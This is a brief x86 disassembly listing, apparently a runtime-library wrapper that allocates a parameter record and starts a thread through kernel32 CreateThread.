cmp dword [0x60a034], 0
je 0x409c13
mov edx, edi
mov eax, esi
call dword [0x60a034]
mov ebx, eax
jmp 0x409c24
mov eax, 8
call fcn.00406e7c
mov ebx, eax
mov dword [ebx], esi
mov dword [ebx + 4], edi
mov byte [0x61005d], 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
mov eax, 0x409bb0
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateThread
mov esi, eax
test esi, esi
jne 0x409c54
mov eax, ebx
call fcn.00406e98
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc